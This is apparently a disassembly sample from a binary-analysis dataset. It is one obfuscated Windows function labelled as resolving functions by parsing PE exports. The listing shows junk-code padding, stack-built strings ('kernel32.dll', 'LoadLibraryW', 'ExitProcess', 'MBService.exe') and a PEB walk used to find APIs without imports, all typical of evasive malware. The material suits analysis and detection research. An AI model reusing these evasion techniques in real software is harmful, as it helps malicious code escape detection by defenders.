Function at 0x4870dc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push ecx
sub ecx, 0xc192
pop ecx
push ebx
push ecx
add esp, 4
jmp 0x480b03
or ebx, 0x4393
pop ebx
push eax
push edx
add esp, 4
call 0x480b1e
add byte [esi], dh
cmp eax, 0x463e4e3d
inc ebx
xor edi, dword [edi]
add esp, 4
pop eax
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push eax
push edx
add esp, 4
jmp 0x480bde
call 0x480bed
add byte [edi + 0x3c], al
cmp al, 0x50
dec edi
push eax
xor eax, dword [ebx + ecx*2 - 0x7d]
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [edx], dh
dec ebp
dec ecx
inc esi
inc eax
push eax
cmp eax, 0xc4833948
add al, 0x58
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push eax
push esi
add esp, 4
and eax, 0xd8c7
add eax, 0x11003
or eax, 0x11049
and eax, 0x783a
pop eax
push eax
add eax, 0x8ae5
xor eax, 0x8bed
or eax, 0x13e66
pop eax
mov dword [ebp - 0x10], 1
push edi
push eax
add esp, 4
add edi, 0x4327
jmp 0x480c8a
sub edi, 0x10cad
pop edi
push edx
push ecx
add esp, 4
add edx, 0x10c36
sub edx, 0x6c35
sub edx, 0x4299
pop edx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
and edi, 0x1456c
call 0x480ceb
add byte [0x3835424d], dh
dec ebp
inc ebp
cmp al, 0x45
add esp, 4
pop edi
push ebx
push edx
add esp, 4
jmp 0x480cfa
add ebx, 0x7246
or ebx, 0xacc1
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0x3ea
sub ecx, 0x163a9
jmp 0x480d1d
xor ecx, 0x50f5
pop ecx
push edi
push esi
add esp, 4
jmp 0x480d32
xor edi, 0xb65d
pop edi
mov dword [ebp - 0x2c], 1
push eax
push ecx
add esp, 4
call 0x480d54
add byte [esi + ecx*2 + 0x32], cl
xor eax, dword [eax + 0x44]
inc ecx
inc eax
xor eax, dword [ebx - 0xf7efb3c]
lahf
nop
add byte [eax], al
pop eax
push ecx
add ecx, 0x26e9
xor ecx, 0x13f4d
xor ecx, 0x142b8
pop ecx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x480f53
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ebx
and ebx, 0x2fb
add ebx, 0x14a4d
add ebx, 0x7fe8
pop ebx
push esi
push edx
add esp, 4
and esi, 0x1297c
or esi, 0x10ef
pop esi
push edx
push ebx
add esp, 4
or edx, 0x1c56
pop edx
push edx
sub edx, 0x143af
sub edx, 0x1679c
or edx, 0x8889
xor edx, 0x120c6
pop edx
push eax
add eax, 0x1232b
call 0x480fcb
add byte [ebp + 0x4d], cl
xor esi, dword ss:[ebx]
dec ebp
xor eax, dword [ebx - 0x74a7fb3c]
inc ebp
rol byte [0x138], 1
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push edi
push eax
add esp, 4
add edi, 0xc8a5
add edi, 0x11753
xor edi, 0x8f87
add edi, 0x17325
pop edi
push eax
xor eax, 0x10582
add eax, 0x167a9
add eax, 0x5c
pop eax
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x481087
mov dword [ebp - 0x149c], 1
jmp 0x481091
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x484104
push esi
push ebx
add esp, 4
xor esi, 0xb38e
call 0x4810c3
add byte [edx], bh
aas
dec eax
inc ebp
dec eax
add esp, 4
and esi, 0xb2d6
call 0x4810da
add byte [esi + 0x48], cl
xor eax, 0x49423d4d
dec ecx
add esp, 4
pop esi
push eax
or eax, 0x1317a
pop eax
push eax
call 0x4810f3
add byte [ebp + 0x41], al
dec edi
cmp esi, dword [edi]
aas
add esp, 4
pop eax
push ecx
or ecx, 0x801e
and ecx, 0xdbba
add ecx, 0x9555
jmp 0x48110f
pop ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x48128b
push edi
call 0x481167
add byte [ebx], bh
inc esi
dec ebx
cmp byte [edx], bh
xor al, 0x42
aaa
inc edx
add esp, 4
add edi, 0x16d3
pop edi
push eax
push ecx
add esp, 4
xor eax, 0x4615
xor eax, 0x1551b
and eax, 0xc8cc
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push ecx
push ebx
add esp, 4
sub ecx, 0x11b3
and ecx, 0x4e6
xor ecx, 0x771c
or ecx, 0x116aa
pop ecx
push esi
or esi, 0x175f0
add esi, 0x1b6d
add esi, 0x8673
pop esi
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edi
push ecx
add esp, 4
or edi, 0x13481
sub edi, 0xd80e
or edi, 0xbac0
pop edi
push eax
push eax
add esp, 4
sub eax, 0x15d01
sub eax, 0xa75
pop eax
push edx
or edx, 0x24a5
pop edx
push eax
push edx
add esp, 4
jmp 0x481298
add eax, 0xc684
and eax, 0x2615
and eax, 0x6307
pop eax
push esi
push eax
add esp, 4
xor esi, 0x10549
xor esi, 0x176d0
pop esi
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push ecx
jmp 0x481316
call fcn.00481325
add byte [ebx + 0x3c], cl
inc edi
cmp byte [eax + 0x41], al
inc edx
inc ebp
dec eax
mov dword [ebp - 0x3c0], 0
call 0x484113
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edi
or edi, 0x12979
pop edi
push edx
sub edx, 0x73e6
xor edx, 0xd90d
jmp 0x48413c
jmp 0x484144
pop edx
push edx
push esi
add esp, 4
and edx, 0x98f5
pop edx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edi
or edi, 0x14784
sub edi, 0xc5f2
sub edi, 0x25fc
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0x17afb
add ecx, 0x3c00
and ecx, 0x2c57
xor ecx, 0xf6d6
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push esi
push edx
add esp, 4
add esi, 0xbb14
pop esi
push esi
push eax
add esp, 4
add esi, 0x14fa7
or esi, 0x124f9
pop esi
push ebx
xor ebx, 0x11c4a
add ebx, 0xbe5
sub ebx, 0x140f9
pop ebx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push edx
and edx, 0x12a8f
sub edx, 0x14fe8
sub edx, 0x12b6f
sub edx, 0x21bb
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0x10b58
and ebx, 0x2e27
add ebx, 0x10469
pop ebx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edx
call 0x4842ae
add byte [ebx], dh
xor eax, 0x34474b33
inc esi
dec eax
dec esi
xor eax, 0x5a04c483
push edi
add edi, 0xa7af
call 0x4842c5
add byte [eax + 0x3c], dl
inc esi
dec eax
add esp, 4
add edi, 0xd5e2
pop edi
mov dword [ebp - 0x1fa4], 0xe
push ebx
call 0x4842e9
add byte [edi + 0x37], cl
cmp dh, byte [edx]
inc esp
dec ebp
cmp bh, byte [ebx]
add esp, 4
jmp 0x4842f1
jmp 0x4842f6
xor ebx, 0x7aef
pop ebx
push eax
xor eax, 0x12021
and eax, 0x14407
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push esi
push eax
add esp, 4
sub esi, 0x2b2f
add esi, 0x8660
pop esi
push eax
call 0x484341
add byte [esi], dh
inc esp
inc ebx
dec ebx
inc esp
inc eax
dec edx
xor eax, dword [ebx - 0x377efb3c]
cmp byte [esi], dh
add dword [eax], eax
jmp 0x484351
pop eax
mov dword [ebp - 0x1fa8], 0xffffffff
push edx
push ebx
add esp, 4
and edx, 0x1472f
sub edx, 0x7f0
and edx, 0x1074d
pop edx
push ebx
sub ebx, 0x10aae
add ebx, 0x9cf2
add ebx, 0x2ed4
and ebx, 0x1787
pop ebx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x4843ab
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edi
add edi, 0x13f5c
pop edi
push ecx
and ecx, 0x136e5
pop ecx
push ebx
xor ebx, 0x161dc
xor ebx, 0x2eeb
pop ebx
push edx
sub edx, 0x151b1
or edx, 0x47eb
or edx, 0x11ded
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x484425
push edi
push eax
add esp, 4
or edi, 0x125e2
jmp 0x4843fe
add edi, 0xe542
call 0x484410
add byte [ebx + eax*2], dh
xor eax, dword [edi + 0x35]
cmp dword [ebx + 0x525f04c4], eax
push esi
add esp, 4
or edx, 0xfb66
pop edx
jmp 0x484653
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push esi
push ebx
add esp, 4
or esi, 0xe13a
jmp 0x48444b
call 0x484457
add byte [eax + 0x40], cl
xor ecx, dword [ebx + 0x33]
inc ebx
add esp, 4
pop esi
push ecx
push ecx
add esp, 4
xor ecx, 0x10719
sub ecx, 0x772b
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x4844d4
push ecx
push edx
add esp, 4
add ecx, 0x15423
and ecx, 0x1384b
pop ecx
push ecx
call 0x4844b4
add byte [esi + 0x37], cl
inc ebp
inc eax
xor eax, 0x4c323441
add esp, 4
pop ecx
push eax
push esi
add esp, 4
jmp 0x4844c2
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x484605
cmp dword [ebp - 0xc08], 0
jle 0x4845f9
push edi
jmp 0x4844e7
add edi, 0x15cd5
pop edi
push edx
sub edx, 0x16160
call 0x484503
add byte [ebp + 0x3a], cl
cmp cl, byte [ebx + 0x3b]
aaa
inc edx
add esp, 4
and edx, 0xbc81
and edx, 0x6e2b
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x484595
push eax
or eax, 0x103d9
and eax, 0xdf59
pop eax
push eax
push eax
add esp, 4
xor eax, 0x134e5
sub eax, 0xd8e4
call 0x484557
add byte [esi + 0x3a], cl
cmp ecx, dword [edx + 0x4e]
dec edx
xor ecx, dword [edi + 0x4d]
add esp, 4
pop eax
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x48457d
mov dword [ebp - 0x14c0], 1
jmp 0x484587
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x4845f9
push edx
push ecx
add esp, 4
sub edx, 0x4cc0
add edx, 0x1c11
jmp 0x4845ab
pop edx
push ebx
jmp 0x4845b4
xor ebx, 0x77a0
sub ebx, 0x55f2
sub ebx, 0x9ddd
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x4844d4
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x48464e
push esi
push edi
add esp, 4
add esi, 0x1100a
and esi, 0x33b2
and esi, 0x41e6
pop esi
push edx
add edx, 0x283a
call 0x48463c
add byte [edx + 0x37], cl
dec eax
dec ebp
inc eax
inc eax
cmp esi, dword [edi]
inc esi
add esp, 4
pop edx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x48468f
jmp 0x48439c
push esi
xor esi, 0xbed7
pop esi
push esi
push edx
add esp, 4
sub esi, 0x50f2
add esi, 0x2edf
add esi, 0x2d89
and esi, 0x55d2
pop esi
push edi
push edx
add esp, 4
sub edi, 0x12322
pop edi
mov dword [ebp - 0x3cc], 0
push eax
push edx
add esp, 4
add eax, 0x11568
sub eax, 0x524c
and eax, 0xad86
pop eax
push edx
xor edx, 0x17bbf
and edx, 0xe88d
and edx, 0x52d
or edx, 0x86b6
pop edx
push edx
push ebx
add esp, 4
jmp 0x4846ce
add edx, 0xa37c
sub edx, 0x20e5
pop edx
push esi
push edx
add esp, 4
xor esi, 0x8d45
pop esi
push edi
push esi
add esp, 4
add edi, 0x4605
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
push ebx
add esp, 4
or ebx, 0x58e7
and ebx, 0x7a47
or ebx, 0x70fd
jmp 0x484725
pop ebx
push ebx
or ebx, 0x14e8d
pop ebx
push edi
push eax
add esp, 4
xor edi, 0x10605
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
push edx
add edx, 0xc135
pop edx
push eax
push esi
add esp, 4
call 0x48475f
add byte [edx], dh
xor eax, dword [ebx + 0x44]
dec esp
dec esp
dec ecx
add esp, 4
sub eax, 0x16d32
jmp 0x48476f
or eax, 0xb4c4
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x484793
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
or edi, 0xfdbe
jmp 0x48479f
or edi, 0x64a0
pop edi
push esi
add esi, 0xc21e
xor esi, 0x699
call 0x4847c1
add byte [ecx], bh
inc ebx
dec ebx
cmp al, 0x3a
inc ecx
xor dh, byte [edx]
add esp, 4
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x48480d
push ebx
push esi
add esp, 4
xor ebx, 0x112dc
xor ebx, 0x1d13
add ebx, 0x4d2f
pop ebx
push edi
xor edi, 0xe18c
xor edi, 0x3ab6
and edi, 0x162eb
sub edi, 0xc5ce
pop edi
jmp 0x484a3b
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
push eax
add esp, 4
call 0x484837
add byte [esi + 0x39], cl
inc edi
aas
cmp al, 0x35
inc esp
aas
cmp eax, dword [ebx - 0x3c7efb3c]
adc dword [ebx - 0x347f0000], edx
push esp
fadd dword [eax]
add byte [ebx + 0x53], bl
jmp 0x48484e
or ebx, 0x133f
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x4848bc
push edx
and edx, 0x17a8c
pop edx
push esi
push eax
add esp, 4
call 0x484895
add byte [eax + edi], bh
dec ebp
inc ebp
aas
inc ecx
cmp al, 0x4a
xor eax, 0x8104c483
out 0x9c, al
aaa
add dword [eax], eax
or esi, 0x1a02
and esi, 0x18568
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4849ed
cmp dword [ebp - 0xc10], 0
jle 0x4849e1
push ecx
xor ecx, 0xd8af
or ecx, 0x157ff
add ecx, 0xb464
pop ecx
push edx
and edx, 0x9fb5
pop edx
push eax
push edx
add esp, 4
sub eax, 0x3b55
pop eax
push ecx
jmp 0x4848fa
pop ecx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x48497d
push ecx
push edi
add esp, 4
or ecx, 0x17bdf
xor ecx, 0x12fdb
xor ecx, 0x12074
call 0x484937
add byte [eax + 0x50], cl
xor edi, dword [edx]
cmp al, 0x4d
cmp byte [ebx], dh
add esp, 4
pop ecx
push esi
xor esi, 0xb36f
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x484965
mov dword [ebp - 0x14cc], 1
jmp 0x48496f
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x4849e1
push ebx
xor ebx, 0x17e0b
pop ebx
push ecx
and ecx, 0xf5a9
jmp 0x484994
xor ecx, 0x1df0
xor ecx, 0x170b9
pop ecx
push ecx
and ecx, 0x403e
and ecx, 0x1078c
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x4848bc
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x484a36
push edx
push edx
add esp, 4
and edx, 0xf4ac
jmp 0x484a06
and edx, 0xf7b9
pop edx
push ecx
sub ecx, 0x4593
add ecx, 0x17d12
jmp 0x484a21
or ecx, 0xe642
pop ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x484a77
jmp 0x484784
push eax
push eax
add esp, 4
call 0x484a4f
add byte [0x40334e34], bh
dec edi
dec eax
add esp, 4
add eax, 0x12d62
pop eax
push edx
sub edx, 0x16bfd
xor edx, 0x331a
add edx, 0x11734
pop edx
mov dword [ebp - 0xa5c], 0
push ebx
push esi
add esp, 4
sub ebx, 0x136a1
and ebx, 0xdd0a
pop ebx
push esi
call 0x484a97
add byte [edi], bh
cmp bh, byte [ebx]
xor cl, byte [ebx + 0x45]
cmp eax, dword [ebx - 0x197efb3c]
ror byte [ecx], cl
add byte [eax], al
pop esi
push eax
and eax, 0x10661
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
push edi
add esp, 4
xor esi, 0x47b7
jmp 0x484b10
pop esi
push ecx
push eax
add esp, 4
add ecx, 0x5abc
and ecx, 0xad3b
or ecx, 0x2de1
or ecx, 0x5e0b
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push eax
add esp, 4
jmp 0x484bd5
call 0x484be2
add byte [edi + 0x413a324c], dh
inc eax
add esp, 4
jmp 0x484bed
pop edx
push edx
push edx
add esp, 4
xor edx, 0x1024a
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x7c43
xor ebx, 0x11d5e
and ebx, 0x1603f
sub ebx, 0x13941
pop ebx
push edi
call 0x484c28
add byte [ecx + 0x45], cl
aaa
cmp cl, byte [eax + 0x43]
aas
inc esi
cmp eax, 0x5f04c483
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
xor eax, 0xfdfd
jmp 0x484c63
pop eax
push eax
sub eax, 0xd71
xor eax, 0x10cdc
or eax, 0x4473
sub eax, 0xdb9e
pop eax
push edx
sub edx, 0x1515f
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x484c9e
mov dword [ebp - 0x2e0], 0
jmp 0x484f5a
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push eax
add esp, 4
add edx, 0x182b6
and edx, 0x102c0
pop edx
push esi
push eax
add esp, 4
and esi, 0xed0b
jmp 0x484cd5
xor esi, 0x103f3
and esi, 0x15406
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x484cfa
mov dword [ebp - 0x2e0], 0
jmp 0x484f5a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
xor edx, 0x12777
pop edx
push esi
and esi, 0x26dd
call 0x484d25
add byte [0x4a3a4d34], bh
aaa
push eax
xor ecx, dword [ebx - 0x7d]
les eax, [ebx + ebp*8]
pop es
dec ebx
inc ebp
dec esi
dec edi
xor eax, 0xeee68150
mov edx, 0x8d5e0000
invalid
push esi
push esi
add esp, 4
add esi, 0x1024
add esi, 0xd076
pop esi
push edx
push ecx
add esp, 4
add edx, 0x1058f
pop edx
push edx
xor edx, 0x30e8
xor edx, 0x15601
sub edx, 0x13de6
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x4858a5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
jmp 0x48503c
pop edi
push edx
sub edx, 0xb82c
call 0x485052
add byte [esi + 0x47], cl
inc edi
dec ebx
inc edi
inc ebx
xor eax, 0x4c4833f
pop edx
push eax
sub eax, 0x12ced
and eax, 0x1132f
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
sub ebx, 0xf2fb
xor ebx, 0x1997
add ebx, 0x16fd1
pop ebx
push ebx
push eax
add esp, 4
sub ebx, 0x9f96
xor ebx, 0x1404b
xor ebx, 0xb1cd
or ebx, 0x4ab2
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x485130
mov dword [ebp - 0x6ec], 0
jmp 0x4853ec
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
and eax, 0x31cb
or eax, 0x5e6a
and eax, 0xe6f2
pop eax
push edi
xor edi, 0x175e5
call 0x48516a
add byte [eax], bh
xor edi, dword [ebx]
cmp bh, byte [0xc4833b49]
add al, 0x81
iretd
push edi
xor edi, 0xea56
xor edi, 0x98ca
pop edi
push ebx
push eax
add esp, 4
and ebx, 0x14955
pop ebx
push edx
push eax
add esp, 4
and edx, 0x728b
or edx, 0xe957
xor edx, 0x16404
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x485468
push esi
push ecx
add esp, 4
add esi, 0xa493
call 0x48543f
add byte [0x4f3a323c], bh
dec esi
dec ebx
add esp, 4
pop esi
push ecx
call 0x485450
add byte [0x4a443748], dh
inc esp
add esp, 4
jmp 0x485458
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x485f8f
push edi
xor edi, 0x3a3f
pop edi
push ecx
call 0x485480
add byte [eax + 0x36], dl
xor al, 0x3a
xor esi, dword [esp + edi]
